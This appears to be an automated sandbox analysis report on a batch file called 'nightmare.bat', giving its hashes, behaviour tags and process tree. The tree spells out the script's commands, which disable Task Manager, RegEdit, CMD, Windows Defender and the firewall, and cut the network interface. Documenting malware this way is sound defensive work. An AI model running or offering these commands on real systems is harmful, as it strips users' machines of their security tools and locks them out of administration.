8cb390b38d6fbc508f462ead6cff1853678f5fd3dfe673bbbd088f360b87c147

Analysis

user interaction
yes
max time kernel
1s
max time network
4s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 09:20

Target
nightmare.bat
Size 4KB
Sample260724-la335sbm3v
SHA256 8cb390b38d6fbc508f462ead6cff1853678f5fd3dfe673bbbd088f360b87c147
MD5 015b87cd589a7b9067806551bcc2803a
SHA1 35f9275bbd7a359e89c04071a6f8e5b7d0e99bca
SHA512 040f27e2d3233f819fb2536b5e4757db10ccc671ab178581b2e66e839c18abe680bd493978b68dd855339012a7270f1e3a3c05ee4d343bdea5321845d205b2ea
SSDEEP 96:bKzaOzn0sGz282BKpPetJ3GYDMVmB/KAOYXTDYKQQizqZXecEkU:/66zx2BKpPetJ3GYDMVmBiAvXTDZ9izL
TLSH
T1F191721A3C665D6585A262E10ABB5860FB50628F49027FE1B4CB20FCB4473C1B77CCEE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

pid	Process
2032	netsh.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

Windows Command Shell

pid	Process
4912	cmd.exe

Modifies registry key 1 TTPs 4 IoCs

Modify Registry

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 2328	4912	cmd.exe	91
PID 4912 wrote to memory of 3596	4912	cmd.exe	92
PID 4912 wrote to memory of 2908	4912	cmd.exe	93
PID 4912 wrote to memory of 4160	4912	cmd.exe	94
PID 4912 wrote to memory of 4960	4912	cmd.exe	95
PID 4960 wrote to memory of 1988	4960	net.exe	96
PID 4912 wrote to memory of 2032	4912	cmd.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nightmare.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:2328
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  - Modifies registry key
  PID:3596
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  - Modifies registry key
  PID:2908
- C:\Windows\system32\reg.exe
  reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4160
- C:\Windows\system32\net.exe
  net stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:1988
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2032
- C:\Windows\system32\netsh.exe
  netsh interface set interface "Ethernet" disable
  2⤵
  PID:6932